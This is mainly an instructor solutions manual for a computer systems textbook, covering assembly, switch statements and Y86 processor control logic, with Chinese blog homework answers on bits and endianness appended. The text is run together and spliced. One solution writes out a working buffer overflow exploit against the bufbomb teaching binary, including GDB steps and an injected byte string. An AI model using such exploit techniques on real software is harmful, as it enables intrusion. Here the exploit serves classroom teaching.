pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
家庭作业2.582013-04-19 14:00 238人阅读评论(0) 收藏举报int is_little_endian()/*如果在小端法机器上运行返回1,在大端机器上运行返回0*/{int x=1;char *p=(char *)&x;return p[0];}家庭作业2.612013-04-19 14:25 508人阅读评论(2) 收藏举报A !(~x)B !xC !(~(x>>((sizeof(int)-1)<<3)))D !(x&0xff)家庭作业 2.832013-05-01 16:00 323人阅读评论(3) 收藏举报 return (!sx&&sy)||(sx&&sy&&(ux<<1 <= uy<<1)) ||(!sx&&!sy&&(ux<<1>=uy<<1)这个式子可以运行,但是我感觉这不是作者的本意,应该有简单的写法。
家庭作业 2.882013-05-01 19:40 281人阅读评论(1) 收藏举报A 当x=Tmax时不成立。
x超出float所能精确表达的范围之外的,都不成立。
B 当x+y发生溢出时不成立,因为dx+dy是不可能发生溢出的,因为double类型所能精确表达的值的范围远比int大。
C 永远成立。
虽然double类型不具有结合性。
但是dx dy dz 相加都在double精确表示范围之内,不会发生舍入。
D 不成立。
double类型没有结合性。
相乘有可能产生舍入。
E 当dx=0,或者dy=0时不成立家庭作业 2.902013-05-01 20:41 183人阅读评论(0) 收藏举报A 11.0010 0100 0011 1111 0110 11B 11.001(001)C 这个地方中文版有个翻译错误,应该是这两个pi的近似值,从第几位开始不一样的。
【深⼊理解计算机系统】第⼆章本⽂⾸发于CSDN,同步到博客园深⼊理解计算机系统第⼆章2.1 信息的存储⼗六进制转⼆进制,将⼗六进制的每⼀位转换成⼀个4位的⼆进制即:\([0123456789ABCDEF]_{16}\) 对应 \([0000-1111]_2\)每台计算机都有⼀个字长\((word\ size)\),对于⼀个字长为\(w\)位的机器,虚拟地址范围为\([0,2^w-1]\)程序最多可以访问\(2^w\)个字节在当前⼤规模从32位字长机器到64位字长机器的迁移情况,⼤部分的64位字长机器都向后兼容了32位字长机器。
当程序prog.c⽤伪指令linux> gcc -m32 prog.c编译后,该程序就可以在32位或64位机器上正确运⾏。
⽽当程序prog,c⽤伪指令linux> gcc -m64 prog.c编译后,该程序只能在64位机器上运⾏。
区别32位和64位程序,区别在于程序是如何编译的,⽽不是其依赖运⾏的机器类型。
信息的存储⽅式,以in a = 4666;为例,a的⼤⼩为4个字节,⼆进制表⽰为0001 0010 0011 1010,⼗六进制表⽰为0x123a。
有效字节从低到⾼依次为a,3,2,1,这些字节在机器上的存储是连续的,如果最低有效字节a存储在内存地址更⾼的地⽅,那么这称为⼤端(⾼尾端)。
反之最低有效字节a存储在内存地址更低的地⽅,这称为⼩段(低尾端)。
⾄于⼤端和⼩端的机器,Linux32, Windows如何打印出⼀个数的具体存储格式/*author: solego*/#include<bits/stdc++.h>using namespace std;typedef unsigned char* byte_pointer;void show_bytes(byte_pointer start, int len) {for(int i = 0; i < len; ++i) {printf("%x\n", start[i]);} printf("\n");int main(){int x = -10;/*expect: 0x ff ff ff f6x(sign magnitude) = 10000000 00000000 00000000 00001010x(one's complement) = 11111111 11111111 11111111 11110101x(two's complement) = 11111111 11111111 11111111 1111011010(two's complement) = 00000000 00000000 00000000 00001010*/show_bytes((byte_pointer) &x, sizeof(x));return 0;}result:f6ffffff由此可以看出来,在计算机中存储的是补码,循环是从低地址到⾼地址的,⽽优先输出最低有效字节,所以windows采⽤的是⼩端(低尾端),这⾥利⽤unsigned char⼤⼩为\(1\)字节,恰好表⽰出[0,255]。